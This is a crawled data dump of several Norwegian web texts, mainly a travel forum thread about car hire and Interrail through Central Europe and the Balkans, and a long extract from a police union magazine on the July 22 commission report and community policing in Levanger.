billetter....s\u00e5 da blir det jo mye mer komfortabelt ogs\u00e5.\n\nHvis jeg n\u00e5 hopper av flighten under flybytte i Wien, s\u00e5 kan jeg kun ha h\u00e5ndbagasje....og det kan jo bli en utfordring hvis jeg skal drive rundt i Europa noen uker i tillegg.....hehe.\n\n(Innlegget ble redigert 21.03.17 12:41)\n\n21.03.17 18:25\n\n**annmag**: Trenger jo ikke \u00e5 fordele landene p\u00e5 flere turer....kommer bare an p\u00e5 hvor lenge man reiser. :o)\n\nNyt livet\\! \u00c5 ha roen til rett og slett v\u00e6re p\u00e5 tur er noe jeg virkelig savner. Men skal du v\u00e6re lenge p\u00e5 tur blir leiebil fra \u00d8sterike mindre aktuelt. Hadde jeg hatt 6 uker til dette omr\u00e5det hadde jeg tatt med egen bil. Mye enklere med s\u00e5 mange rare grensekrysninger. Husk eventuelt \u00e5 sjekke at forsikringen er gyldig, tror Balkan er inkluldert hos meg, men her kan det v\u00e6re unntak. EU er greit.\n\n\u00a0\n   \nkansas00Innlegg: 19589\n\n21.03.17 19:01\n\n**xpoolman**: Det var da synd men jeg tenkte meg nesten det.... Hvorfor ikke kj\u00f8re fra Norge i egen bil ?  \nDet er ikke s\u00e5 langt, du kj\u00f8rer fra Hirtshals/Fredrikshavn til \u00d8sterrike p\u00e5 en dag :-) Det er veldig fint der borte, og en helt annen opplevelse \u00e5 kj\u00f8re selv enn \u00e5 ta tog/buss.\n\nTviler p\u00e5 at den bilforsikringa nordmenn flest har er gyldige i land som serbia, romania, bulgaria etc (mulig jeg tar feil) . Selv om du tar ut en leiebil i f.eks tyskland, s\u00e5 m\u00e5 du vel\u00a0 betale ekstra forsikring for \u00e5 ta bilen inn i en rekke \u00f8stblokkland.. noen tillater vel heller ikke det heller.\n\n(Innlegget ble redigert 21.03.17 19:02)\n\n21.03.17 20:12\n\n**kansas00**: Tviler p\u00e5 at den bilforsikringa nordmenn flest har er gyldige i land som serbia, romania, bulgaria etc (mulig jeg tar feil)\n\nJoda, til og med i Russland.\n\nJeg var over det hele med bobilen i fjor:\n\nhttp://janneogfrank.blogspot.no/\n\n(Innlegget ble redigert 21.03.17 20:12)\n\n21.03.17 20:24\n\n\n(Innlegget ble redigert 21.03.17 20:33)\n\nxpoolmanInnlegg: 4885\n\n21.03.17 21:24\n\n**Johnsli**: Europcar tilsier at du kommer deg til alle de landene du har nevnt,\n\nJa se det:-)\n\n*\"Czech Republic, Slovakia, Hungary, Slovenia, Croatia, Poland, Bosnia & Herzegovina, Serbia, Montenegro, Macedonia, Bulgaria, Romania and Greece\".*\n\nKj\u00f8r p\u00e5 annmag :-)\n\n   \n21.03.17 22:56\n\n**Johnsli**: Du kommer deg dit med leiebil.\u00a0En sjekk hos f.eks. Europcar tilsier at du kommer deg til alle de landene du har nevnt, men du trenger skriftlig tillatelse fra firmaet. https://www.europcar.at/general-terms-and-conditions-europcar-austria\n\nTAKK\\!\\!\n\nDette m\u00e5 jeg sjekke ut imorgen. \u00a0Ser ut som om de krever ekstra penger for noen av grensepasseringene iallefall.\n\nVar bare et tastetrykk unna \u00e5 bestille interrailbillett tidligere i dag, men bestemte meg for \u00e5 vente til i morgen.\n\n........\n\nM\u00e5 omstille hodet igjen n\u00e5. :o)\n\n21.03.17 22:57\n\n**Forfun**: Nyt livet\\! \u00c5 ha roen til rett og slett v\u00e6re p\u00e5 tur er noe jeg virkelig savner.\n\nJa, er helt supert \u00e5 v\u00e6re p\u00e5 \"drift\"......no stress. :o)\n\n21.03.17 22:58\n\n**xpoolman**: Kj\u00f8r p\u00e5 annmag :-)\n\n22.03.17 12:25\n\nDa har jeg f\u00e5tt svar fra Europcar vedr. ekstrakostnader for de landene jeg \u00f8nsker......og det vil bel\u00f8pe seg til ca kr. 3.500,-.\n\nDet synes jeg ikke er verdt prisen.....s\u00e5 da blir det toget.\n\n", "language": "no", "__index_level_0__": "f98691c3-a01f-4381-9163-9f518f8cc49d"}
{"url": "https://changemaker.no/internasjonal-handel?order=oldest", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:26:54Z", "text": "\n\n### Verdens handelsorganisasjon\n\nI WTO reguleres store deler av verdenshandelen. I dag ser vi at det er den \u00f8konomisk sterkeste parten som f\u00e5r gjennomslag for sine saker i WTO, og fattige land f\u00e5r mindre mulighet til \u00e5 p\u00e5virke det internasjonale systemet p\u00e5 en m\u00e5te som kan v\u00e6re fordelaktige for dem.\n\n", "language": "no", "__index_level_0__": "39ae19c3-a9a3-42eb-9d43-9d97b9f15879"}
{"url": "http://sosken.blogspot.com/2015/08/endelig-var-tur-til-ferie.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:14:52Z", "text": "\n\n    \n\n## onsdag 5. august 2015\n\n### Endelig v\u00e5r tur til ferie\n\nDenne sommerferien har v\u00e6rt den lengste ever. Med uvanlig sen feriestart har ukene g\u00e5tt tregt og ungene har ventet p\u00e5 at vi voksne ogs\u00e5 skulle starte ferien. For noen dager siden var det endelig v\u00e5r tur til \u00e5 fly av g\u00e5rde til sol og sommer, noe kropp og hud trenger n\u00e5.\n\n  \n\n\n  \nHuden til lillebror trenger ogs\u00e5 litt ferie. Litt fred og ro til \u00e5 lege seg.\u00a0\n\n  \n\n\n  \n\n\n", "language": "no", "__index_level_0__": "5281106d-078c-4aa4-b839-5a3e9326f844"}
{"url": "http://docplayer.me/887621-Skal-det-bli-slutt-pa-dette.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-25T00:33:07Z", "text": "\n2 alt som gjelder Volvo. og din mulighet til et godt kj\u00f8p. Visste du at gjennom Volvo-avtalen gir vi deg sv\u00e6rt gode betingelser p\u00e5 kj\u00f8p eller leasing av din egen Volvo. G\u00e5 inn p\u00e5 PF s hjemmesider for n\u00e6rmere detaljer rundt avtalen. Volvo Car Special Vehicles leverer n\u00e6rmere 1000 spesialbygde politibiler \u00e5rlig til det europeiske markedet. Kontakt for tilbud: H\u00e5vard Peder \u00d8degaard Tlf: E-post: Mette Holgersen Tlf: E-post: Bilia F\u00f8lg oss p\u00e5 facebook.com/bilianorge bilia.no betjent med edialog 24. VELKOMMEN TIL PR\u00d8VEKJ\u00d8RING HOS BILIA\\!\n\n\n\n\n\n6 6 22. juli-kommisjonen G\u00e5r 22. juli-rapporte Dersom publikum hadde visst hvor d\u00e5rlig bemanning det er ved flere tjenestesteder \\[ \\] ville man ikke bare blitt forundret, men i en del tilfeller ogs\u00e5 sjokkert. Handlingsplikten: Etter mitt syn er kommisjonens vurdering av politiets handlingsplikt ikke overbevisende, sier professor Liv Finstad.\n\n\n\n7 22. juli-kommisjonen 7 n etter i s\u00f8mmene 22. juli-rapporten kan ikke uten videre betraktes som en \u00absannhetskommisjon\u00bb hvor siste ord er sagt, mener professor Liv Finstad. Tekst og foto: Ole Martin Mortvedt Liv Finstad er trolig det n\u00e6rmeste vi kommer begrepet politiforsker her i landet. N\u00e5 har hun foretatt en grundig gjennomgang av 22. juli-kommisjonens rapport, og har funnet flere forhold som b\u00f8r v\u00e6re interessante for politiet \u00e5 se n\u00e6rmere p\u00e5. Samtidig retter hun oppmerksomheten mot rapporten, som hun ikke p\u00e5 noen m\u00e5te mener b\u00f8r v\u00e6re ferdig debattert. Ja, rapporten er b\u00e5de grundig, god og overbevisende. Samtidig er rapporten s\u00e5 viktig, b\u00e5de for politiet og det norske samfunnet, at den ikke bare fortjener \u00e5 bli lagt til grunn for endringsarbeid, men ogs\u00e5 \u00e5 bli gjenstand for vanlig kritisk refleksjon, sier Finstad. Hun beskriver rapporten som en \u00abpageturner\u00bb, som med sitt detaljniv\u00e5 legger et viktig grunnlag for omfattende endring og l\u00e6ring ikke bare i politiet, men ogs\u00e5 p\u00e5 politisk niv\u00e5. Sjelden, om noen gang, har en utgivelse i serien Norges Offentlige Utredninger (NOU) v\u00e6rt gjenstand for en s\u00e5 omfattende medieoppmerksomhet - ikke overraskende, tragediens omfang og den p\u00e5viste beredskapssvikten lagt til grunn. \u00abDen lille, r\u00f8de b\u00e5ten\u00bb og \u00abden gule lappen\u00bb blir for alltid st\u00e5ende som symbolske uttrykk for hva som gikk galt. For \u00e5 v\u00e6re en rapport man skal l\u00e6re av, slik at den bidrar til positive endringer i og for politiet, er det viktig \u00e5 la ulike synspunkter komme frem. Bare slik er det mulig \u00e5 f\u00e5 en viss felles virkelighetsforst\u00e5else. \u00c5 skape en felles virkelighetsforst\u00e5else er nettopp en av betingelsene for \u00e5 skape en l\u00e6rende organisasjon, sier Finstad. Politiets handlingsplikt Professoren trekker frem det kommisjonen skriver om politiets handlingsplikt. Det stedet hvor rapporten g\u00e5r tettest p\u00e5 at enkeltpersoner valgte feil, gjelder f\u00f8rste enhet fra Nordre Buskerud politidistrikt. Kommisjonen mener at patruljen ut fra den selvstendige handleplikten skulle fors\u00f8kt \u00e5 skaffe seg b\u00e5t for \u00e5 g\u00e5 til \u00f8yeblikkelig aksjon selv. Patruljens opptreden etterlater etter kommisjonens mening et entydig bilde av at den ikke var innstilt p\u00e5 \u00e5 g\u00e5 til \u00f8yeblikkelig aksjon, sier Finstad. I en NRK-reportasje om politiinnsatsen 22. juli, kom det frem at patruljen hadde f\u00e5tt ordre om \u00e5 observere. Sp\u00f8rsm\u00e5let som ikke er besvart, er om de skulle ha overpr\u00f8vd denne ordren. Etter mitt syn er kommisjonens vurdering av politiets handlingsplikt ikke overbevisende begrunnet hverken i dette konkrete tilfellet eller generelt. Vi st\u00e5r her ikke bare overfor behovet for grundigere juridiske avveininger, men ogs\u00e5 etiske avveininger som det er av st\u00f8rste betydning \u00e5 f\u00e5 klargjort, mener professoren. Politifolk m\u00e5 av og til h\u00e5ndtere hendelser med livet som innsats, noe som er et iboende trekk i politiarbeidet. Farepotensialet fors\u00f8kes redusert med god trening og utstyr. Politiets handlings- eller hjelpeplikt er det mest problematiske temaet som ang\u00e5r politifolks arbeidshverdag. Hvor langt skal handlingsplikten strekkes? Det er selvsagt ikke bare legitimt at kommisjonen tar opp handlingsplikten, det ville v\u00e6re en unnlatelsessynd om den ikke hadde gjort det. Hvis man legger til grunn at siste ord ikke er sagt, er det verdifullt at kommisjonen gir materiale til \u00e5 f\u00f8lge opp dette viktige sp\u00f8rsm\u00e5let. Som de selv besvarer for kjapt etter min vurdering, sier Finstad. Ressurssituasjonen Hun er overrasket over at s\u00e6rlig bemanningen p\u00e5 operasjonssentralene ikke blir tillagt mer avgj\u00f8rende vekt i rapporten. Etter min mening burde det enda sterkere fremheves som et omr\u00e5de hvor ressursknapphet viste seg \u00e5 bli fatalt i politiets h\u00e5ndtering av hele 22. juli. Dersom publikum hadde visst hvor d\u00e5rlig bemanning det er ved flere tjenestesteder, og det bed\u00f8mt etter behov for ordin\u00e6re polititjenester, ville man ikke bare blitt forundret, men i den del tilfeller ogs\u00e5 sjokkert. Finstad p\u00e5peker at kommisjonsrapporten ikke i klartekst sier hva som egentlig er problemet med kultur og holdninger i politiet. Det vil kreve et omfattende og kunnskapsbasert egenarbeid i politiet for \u00e5 konkretisere dette, mener Finstad. Men gjennom annen forskning basert p\u00e5 en rekke terrorangrep og naturkatastrofer i USA, er det oppsummert hvorfor politiet svikter n\u00e5r det gjelder, gang p\u00e5 gang, forklarer professoren. Gjennomg\u00e5ende er det svikt i planlegging og risikoforst\u00e5else. Kriseh\u00e5ndteringen preges av problemer med kommunikasjon og samband, kommandostrukturer og ansvarsrutiner er uklare, og det g\u00e5r for sent \u00e5 ta i bruk ressursene. Ressursene er heller ikke tilstrekkelige p\u00e5 avgj\u00f8rende omr\u00e5der. Dette er som \u00e5 lese en bl\u00e5kopi av 22. juli-kommisjonens beskrivelse av hva som sviktet. Disse internasjonale erfaringene grundig FORSKER: Professor Liv Finstad (\u00f8verst) har g\u00e5tt igjennom 22.juli-kommisjonens rapport. Kommisjonen ble ledet av Alexandra Beck Gj\u00f8rv. viser at norsk politi ikke er den d\u00e5rligste eleven i spesialklassen slik mange kanskje har inntrykk av. Hvorfor det er s\u00e5 vanskelig \u00e5 l\u00e6re av svikt og feil, representerer ogs\u00e5 en gjengangertematikk, sier Finstad. Den politiske endringsviljen er forbig\u00e5ende, og endringstiltak skal dessuten koste minst mulig, forklarer hun videre. Det er mangel p\u00e5 systemer i politiet for \u00e5 identifisere l\u00e6rdommer og spre kunnskaper. I beste fall skjer det en \u00abad hoc\u00bb-l\u00e6ring, i stedet for at l\u00e6ring sees p\u00e5 som en langvarig forpliktelse som m\u00e5 bygges inn i organisasjonen. Selv n\u00e5r l\u00e6rdommer blir identifisert, mangler det gjerne systematiske l\u00e6rings- og endringsprosedyrer. n n Professor Finstads gjennomgang av 22. juli-rapporten ble publisert i tidsskriftet Materialistens nummer 4 i Gjennomgangen kan leses i sin helhet p\u00e5 www. materialisten.no. Foto: Rune Korneliussen Foto: Erik Inderhaug\n\n\n\n8 8 kortnytt Trakk ATB-s\u00f8ksm\u00e5l Politiets nye ATB-avtale innlemmet flere PF-medlemmer i avtaleteksten. Det f\u00f8rte til at Politiets Fellesforbund trakk en p\u00e5g\u00e5ende sak fra arbeidsretten. Tekst og foto: Ole Martin Mortvedt Det var i etterkant av inng\u00e5elsen av politiets ATB-avtale (arbeidstidsbestemmelser) i 2009, at 38 PFmedlemmer i Rogaland politidistrikt gikk til s\u00f8ksm\u00e5l mot Staten. \u00c5rsaken var at de ikke fikk ta del i en l\u00f8nnsmessig kompensasjon de mente seg berettiget til. Mens politiansatte flest fikk kroner \u00e5rlig for \u00e5 jobbe ut over det arbeidsmilj\u00f8loven tillot, fikk ikke denne gruppen den samme kompensasjonen. Vi mente vi hadde en god sak. Derfor st\u00f8ttet vi de 38 medlemmene i et s\u00f8ksm\u00e5l mot Staten. Vi forholdt oss til at det var inng\u00e5tt en kollektiv avtale, hvor disse medlemmene skulle tilst\u00e5es kompensasjonen for \u00e5 v\u00e6re disponible utover arbeidsmilj\u00f8lovens bestemmelser. Stavanger tingrett var ikke enig i dette, sier Arild Sandst\u00f8l, leder av PF Rogaland. De tapte saken i tingretten i november Sandst\u00f8l var forberedt p\u00e5 at saken ogs\u00e5 skulle pr\u00f8ves for arbeidsretten ved hjelp av Unio. N\u00e5r n\u00e5 den nye ATB-avtalen foreligger, er medlemmene som f\u00f8r var holdt utenfor For retten: Den f\u00f8rste ATB-rettssaken ble f\u00f8rt av PFs lokallagsleder i Rogaland, Arild Sandst\u00f8l, forhandlingssjef Victor-Bj\u00f8rn Nielsen og advokat Kjell Brygfjeld. ATB-godtgj\u00f8relsen n\u00e5 innlemmet. Dette betyr slik jeg leser forhandlingene, at arbeidsgiver n\u00e5 har innsett at dette ble feil, sier Sandst\u00f8l. Han viser til at det blir en totalvurdering n\u00e5r PF n\u00e5 trekker saken fra arbeidsretten. Vi f\u00f8lte at det fra Unio og de andre hovedsammenslutningene ikke var nok trykk for \u00e5 f\u00f8re saken videre med det nye forhandlingsresultatet klart. N\u00e5 er vi forn\u00f8yd med at de dette gjalt er med i avtalen fra 1.april i \u00e5r. PF m\u00e5 tenke helhetlig. Prinsippene i denne saken er n\u00e5 ivaretatt. N\u00e5 f\u00e5r vi frigjort ressurser til \u00e5 jobbe mer for s\u00e6ravtalen for praksisveiledere, UEH-mannskaper og instrukt\u00f8rer, sier lokallagslederen. n Ny lederavtale 31. januar signerte partene s\u00e6ravtalen om uregulert arbeidstid for ledere, melder Politiets Fellesforbund (PF). Den nye avtalen gir bedre \u00f8konomisk kompensasjon, ved at denne er \u00f8kt fra til kroner (fra B50- til B60-tillegg). Avtalen gjelder ogs\u00e5 for flere grupper enn tidligere, og inkluderer n\u00e5 blant annet namsfogder, visepolitimestere og politioverbetjenter som er driftsenhetsledere. Les hele avtalen p\u00e5 Nye p\u00e5 forbundskontoret Mette Varem I v\u00e5r blir to nye ansikter \u00e5 se p\u00e5 Politiets Fellesforbunds (PF) forbundskontor. Mette Varem, PFs lokallagsleder i Helgeland politidistrikt, er PFs nye trainee, og skal jobbe p\u00e5 forbundskontoret i Oslo i tre m\u00e5neder. Erik Eriksen fra Oslo politiforening (OPF) er samtidig ansatt som forbundssekret\u00e6r i en prosjektstilling fra 1. februar til 30. juni. Han kommer fra vervet som sekret\u00e6r i OPF, og vil f\u00e5 i hovedoppgave \u00e5 drive oppl\u00e6ring i politiets nye arbeidstidsavtale (ATB-avtalen). Erik Eriksen\n\n\n\n bekrefter at det fra politisk hold blir sett p\u00e5 \u00e5 frita politiet fra denne oppgaven. Politibil stj\u00e5let Natt til 25.\")\n\n10 10 N\u00e6rpolitirollen Respekt og dialog er n\u00f8kkelen til godt samarbeid Politif\u00f8rstebetjent Per Henrik Bykvist nyter stor respekt i hjembyen Levanger. Det handler om synlighet. \u00c5 kjenne sitt politi er uvurderlig, sier pubeier Leif Sollund. Tekst: Ole Martin Mortvedt Foto: Johan Arnt Nesg\u00e5rd\n\n\n\n11 N\u00e6rpolitirollen Operativt 11\n\n\n\n12 12 N\u00e6rpolitirollen mye l\u00f8ses fordi politi og klientell \u00e5penbart kjenner hverandre. De har respekt for hverandre. I snart 27 \u00e5r har Per Henrik Bykvist v\u00e6rt operativ politimann ved Levanger lensmannskontor. Politif\u00f8rstebetjenten liker \u00e5 rusle rundt i gatene i byen i Nord-Tr\u00f8ndelag. Som en synlig og kjent politimann i lokalmilj\u00f8et, kommer \u00aballe\u00bb bort for \u00e5 prate med ham. Jeg opplever det som positivt at mange sier de er s\u00e5 glade for at politiet er synlige, og at vi tar oss tid til \u00e5 prate med dem. Jeg f\u00e5r i det hele tatt mange positive tilbakemeldinger p\u00e5 at vi er synlige her i bygda. \u00abVi blir s\u00e5 rolige n\u00e5r vi ser en politi\u00bb, har jeg h\u00f8rt fra ungdom ute p\u00e5 byen, sier politif\u00f8rstebetjenten. GIR OG F\u00c5R RESPEKT Leif Sollund er innehaver av utestedet \u00abOskars\u00bb i Levanger. Han skryter av samarbeidet med det lokale politiet i byen. Jeg har drevet i denne bransjen i 35 \u00e5r. I alle \u00e5r har jeg hatt et n\u00e6rt og godt samarbeid med politiet her i Levanger. N\u00e5r vi har meldt om behov for politiassistanse, har de stolt p\u00e5 v\u00e5r vurdering, og kommet med hjelp, sier Sollund. Mye av det gode samarbeidet kommer av at han har en jevn dialog med politiet. At han kjenner dem, og de kjenner ham, er uvurderlig. Politiet her lokalt bruker mye tid p\u00e5 dialog. Folk kjenner politiet, og med f\u00e5 unntak innehar politifolkene relativt stor respekt. De bes\u00f8ker utestedene uten at det er br\u00e5k, sjekker stemningen, og snakker med gjestene og v\u00e5re medarbeidere. N\u00e5r det blir behov for dem til ordensoppdrag, er mitt inntrykk at de l\u00f8ser dette p\u00e5 en s\u00e5 sk\u00e5nsom m\u00e5te som praktisk mulig. Dialogen med klientellet er god, og mye l\u00f8ses fordi politi og klientell \u00e5penbart kjenner hverandre. De har respekt for hverandre, sier Sollund. Pubinnehaveren tror den gjensidige respekten kommer av at politifolkene i byen er gode til \u00e5 se an situasjonen n\u00e5r de h\u00e5ndterer folk. Man f\u00e5r gjerne respekt n\u00e5r man gir respekt. Hvis det g\u00e5r s\u00e5 langt at politimannen Per Henrik Bykvist eller en av de andre erfarne velger \u00e5 heve stemmen, blir det gjerne rolig rundt dem. Det er sjelden de m\u00e5 bruke fysisk makt her hos oss, sier han, og forklarer: Jeg tror det hadde blitt vanskelig om det skulle komme en politibil fra Trondheim med ukjente politifolk for \u00e5 rydde opp hvis det ble br\u00e5k. Et lokalt politi har mange fordeler. \u00ab\u00c6 ska h\u00f8r etter d\u00e6, bykvist\u00bb I Levanger vet de fleste hvem Bykvist er. Han er tilgjengelig n\u00e5r innbyggerne trenger en \u00e5 snakke med, og er godt vant med at telefonen ringer b\u00e5de i arbeidstiden og p\u00e5 fritiden. god p\u00e5 Dialog: Jeg h\u00e5per sentrale politikere forst\u00e5r hva et godt fungerende lokalpoliti har \u00e5 si i praksis,\n\n\n\n13 N\u00e6rpolitirollen 13 sier politif\u00f8rstebetjent Per Henrik Bykvist ved Levanger lensmannskontor. Her i prat med en av de lokale ungdommene.\n\n\n\n14 14 N\u00e6rpolitirollen 1998: Snakker med barna I BARNEHAGEN: Per Henrik Bykvist har med politibamsen Eddy i barnehagen. I over 15 \u00e5r har han jobbet m\u00e5lrettet for \u00e5 f\u00e5 god kontakt med innbyggerne. I dag har noen av barna han jobbet med p\u00e5 midten av 80-tallet selv blitt foreldre. N\u00e5r folk har tillit til at jeg kan svare, er det klart jeg er tilgjengelig, understreker han. Det er slik jeg tolker politirollen her jeg bor. Jeg opplever at vi har god kontakt med n\u00e6rmilj\u00f8et, og at slikt er med p\u00e5 \u00e5 danne grunnlaget for den gode tilliten politiet har i samfunnet. Derfor er jeg betenkt over tendensen til at politifolkene ikke lenger bor i n\u00e6rmilj\u00f8et der de jobber, sier Bykvist. Hele tiden har Bykvist kombinert den skarpe operative rollen med \u00e5 bes\u00f8ke barnehager, barne- og ungdomskoler. Han har v\u00e6rt p\u00e5 foreldrem\u00f8ter, og m\u00f8tt videreg\u00e5ende elever. Vekslingen mellom \u00e5 jobbe b\u00e5de med det forebyggende, og samtidig v\u00e6re operativ, har v\u00e6rt nyttig. N\u00e5 har jeg holdt p\u00e5 med dette s\u00e5 lenge, at unger jeg m\u00f8tte i barnehagen, kommer bort til meg som unge voksne med en kommentar fra m\u00f8tet de fremdeles husker tilbake til. Og noen av foreldrene jeg n\u00e5 m\u00f8ter, var selv elever p\u00e5 skolene jeg bes\u00f8kte for 20 \u00e5r siden, sier politif\u00f8rstebetjenten. For Bykvist er det slik det skal v\u00e6re. N\u00e5 har jeg holdt p\u00e5 med dette s\u00e5 lenge, at unger jeg m\u00f8tte i barnehagen, kommer bort til meg som unge voksne. Han er politimannen som bor og jobber i n\u00e6rmilj\u00f8et. N\u00e5r Politiforum f\u00e5r ham i tale p\u00e5 telefonen, er klokka ni om morgenen, etter en nattevakt som ble lenger enn planlagt. En v\u00e6pnet aksjon han ledet, tok slutt ved femtiden. Alt gikk bra, og ingen skudd ble avfyrt under p\u00e5gripelsen av en person Bykvist karakteriserer som \u00aben av de verste av de verste\u00bb. Vi gj\u00f8r den beste politijobben ved hjelp av dialog. Nok en gang fikk vi l\u00f8st oppdraget med \u00e5 snakke i stedet for \u00e5 skyte. Det er best for alle parter, sier Bykvist. Han innr\u00f8mmer likevel at han som politimann flere ganger ogs\u00e5 har v\u00e6rt i regelrett sl\u00e5sskamp for \u00e5 f\u00e5 gjennomf\u00f8rt en p\u00e5gripelse. Men med s\u00e5 mange \u00e5rs polititjeneste bak seg, er antallet likevel beskjedent. Mens noen ofte havner i situasjoner med harde p\u00e5gripelser, tror Bykvist det at han bor i n\u00e6rmilj\u00f8et har bidratt til at han s\u00e5 f\u00e5 ganger har rullet rundt p\u00e5 asfalten. N\u00e5r vi bor her hvor vi jobber, s\u00e5 m\u00e5 vi behandle alle med respekt. Det merker folkene vi jobber med. Gjennom at vi kjenner mange av dem vi treffer, og har sett hvordan dialog kan l\u00f8se opp en spent situasjon, vet vi at dette virker, forklarer han. Han tror det er viktig at politiet stiller seg selv et viktig sp\u00f8rsm\u00e5l: Hvem er det vi er til for? Da faller det meste p\u00e5 plass i forhold til hvordan vi griper tak i situasjoner. Vi er til for b\u00e5de Kong Salomo og J\u00f8rgen Hattemaker. En kveld for ikke lenge siden kom jeg opp i en situasjon med berusede ungdommer som var i ferd med \u00e5 lage br\u00e5k, en situasjon som gjerne kunne endt opp med arrestasjon og forelegg, og dermed evig anmerkning p\u00e5 rullebladet for et ungt menneske. Men i det Bykvist er i ferd med \u00e5 utstede et p\u00e5legg, hever den ene ungdommen r\u00f8sten. \u00ab\u00c6 ska h\u00f8r etter d\u00e6, Bykvist, fordi du behandle m\u00e6 med respekt\u00bb, sa gutten. Deretter gikk han rolig fra stedet etter en kort prat. Dette er noe av det jeg fors\u00f8ker jeg \u00e5 formidle til unge politimennesker. Her ligger verdien av \u00e5 ha lokalkunnskap, og \u00e5 kjenne folk i bygda. ER BEKYMRET Bykvist framhever den unike posisjon politiet er i, og beskriver etaten som en d\u00f8r\u00e5pner\n\n\n\n15 N\u00e6rpolitirollen : Snakker med foreldrene P\u00e5 skolen: Her er Per Henrik Bykvist i dialog med foreldre og elever p\u00e5 femte klassetrinn p\u00e5 Halsan skole i Levanger i forrige uke. Temaet for dette bes\u00f8ket var nettvett. i samfunnet. Politiet kan f\u00e5 opp d\u00f8rer som ellers er stengt, for folk som har det vanskelig. Det er nesten utrolig hva vi kan f\u00e5 til n\u00e5r vi engasjerer oss som n\u00e6rpoliti, og banker p\u00e5 d\u00f8ra til andre etater. I s\u00e5 mange ulike saker har vi klart \u00e5 hjelpe folk som har v\u00e6rt i fortvilede situasjoner, og hvor alt har sett m\u00f8rkt ut. Med noen engasjerte grep fra v\u00e5r side, f\u00e5r vi et resultat som gj\u00f8r at de blir overlykkelige over \u00e5 f\u00e5 hjelp til \u00e5 f\u00e5 livet p\u00e5 skinner igjen. Hvis vi bare har og tar oss tid, Fakta Slik snakker du med ungdommen n V\u00e6r interessert i ungdommen\\! By p\u00e5 deg selv. n Sp\u00f8r hvordan han/hun har det. n Sp\u00f8r om skole, fritid, hjem, foreldre, venner og bekymringer. n Snakk om rus. n Hvis rus kan v\u00e6re et tema, snakk om konsekvenser, kriminalitet og framtid. Sp\u00f8r om vi (politiet) kan hjelpe til med noe eller snakke med noen. n Sp\u00f8r om planer, utdanning n Fortell at du kan kontaktes eller ta kontakt med han eller henne. kan vi utgj\u00f8re en forskjell for folk, sier den engasjerte politif\u00f8rstebetjenten. Bykvist, som mange andre politifolk, advarer mot at avstanden til innbyggerne er i ferd med \u00e5 bli for stor. Blir politiet redusert til noen som kun kommer p\u00e5 utrykning, gj\u00f8r det noe med hvordan man l\u00f8ser oppdraget. Avstanden blir mye st\u00f8rre, og sjansen for p\u00e5gripelse og arrest \u00f8ker, i stedet for at vi l\u00f8ser oppdraget p\u00e5 mildest mulig m\u00e5te. Jeg er bekymret for trenden med \u00f8kende avstand til politiet, og hvor tiden som er til r\u00e5dighet for \u00e5 skape kontakt med innbyggerne de skal hjelpe, blir stadig knappere. Han viser til at mange tjenestesteder er i ferd med \u00e5 bli utarmet. Politiskiltet henger oppe p\u00e5 veggen, mens det kun er noen f\u00e5 ansatte er inne. I verste fall holder lensmannskontoret \u00e5pent en dag eller to i uka, for \u00e5 spare penger. Tenker de som bestemmer dette p\u00e5 hva som skjer med den store kontaktflaten? Innbyggerne snakker ikke med et politi de ikke kjenner. Det taper vi, og dermed ogs\u00e5 samfunnet, mye p\u00e5, fordi Innbyggerne snakker ikke med et politi de ikke kjenner. Det taper vi, og dermed ogs\u00e5 samfunnet, mye p\u00e5. publikum er politiets \u00f8yne. Det er de som setter politiet i stand til \u00e5 l\u00f8se samfunnsoppdraget. M\u00f8ttes 15 \u00e5r senere For Bykvist er det en selvf\u00f8lge \u00e5 alltid v\u00e6re im\u00f8tekommende n\u00e5r han f\u00e5r henvendelser fra innbyggerne. Uansett om han er p\u00e5 jobb eller ikke. Svaret fra Bykvist er alltid \u00abJa, selvf\u00f8lgelig\u00bb. Kanskje er det den strategien som gj\u00f8r at han opplever en helt spesiell vennlighet i kontakt med befolkningen. Som den gangen han hadde parkert politibilen p\u00e5 torget i Levanger, og var i ferd med \u00e5 g\u00e5 ut i byen. En dresskledd og lettere beruset ungdom kom bort til patruljen. Bykvist hadde truffet unggutten i barnehagen mange \u00e5r tidligere, da han var p\u00e5 bes\u00f8k med politibamsen Eddy. Den berusede ungdommen utbr\u00f8t: \u00abD\u00e6ven, Bykvist, \u00e6 huske du va i barnehagen med politibamsen. Det var j\u00e6velig t\u00f8ft\u00bb. Der og da hadde ungdommen behov for \u00e5 skryte av kontakten han hadde hatt med politiet da han gikk i barnehagen 15 \u00e5r tidligere.\n\n\n\n16 16 N\u00e6rpolitirollen Skarpt oppdrag: Per Henrik Bykvist (helt til h\u00f8yre) er med p\u00e5 alt fra \u00e5 snakke i barnehagen til \u00e5 v\u00e6re innsatsleder med maskinpistol i hendene. Jeg tror at hvis unge p\u00e5 et tidligst mulig tidspunkt kan ha et positivt m\u00f8te med politiet, og jevnlig opplever positive m\u00f8ter gjennom de ulike skoletrinnene, s\u00e5 er det en god investering for den enkelte og for politiets arbeid. Som politi m\u00e5 vi i bunn ha et engasjement for plassen og stedet der vi jobber. Vi m\u00e5 v\u00e6re opptatt av jobben vi har valgt, og av kommunen v\u00e5r. Ogs\u00e5 utenfor arbeidstiden, sier Bykvist. Politif\u00f8rstebetjenten advarer mot \u00e5 kun bruke regneark for \u00e5 finne ut hva som l\u00f8nner seg n\u00e5r det vurderes sammensl\u00e5inger og nedleggelser av b\u00e5de politidistrikter og tjenesteder. Hvis politiet blir f\u00f8rt inn p\u00e5 en vei hvor vi blir fremmedgjort og ukjent for innbyggerne, og vi f\u00e5r et bl\u00e5lyspoliti som rykker inn og l\u00f8ser oppdrag, men som fjerner seg fra hjelper- og d\u00f8r\u00e5pnerrollen, s\u00e5 taper vi mye. P\u00e5 papiret ser det kanskje mer effektivt ut, men resultatet blir et politi som ikke klarer \u00e5 fange opp de sm\u00e5 problemene f\u00f8r de blir store. Det er n\u00e5r vi kan hjelpe menneskene fra deres st\u00e5sted, at vi l\u00f8ser oppdragene best. En gang, forteller Bykvist, kom han til et sted hvor det var sl\u00e5ssing. I det han kom ut av bilen, h\u00f8rte han: \u00abD\u00e6ven, slutt. Bykvist ha 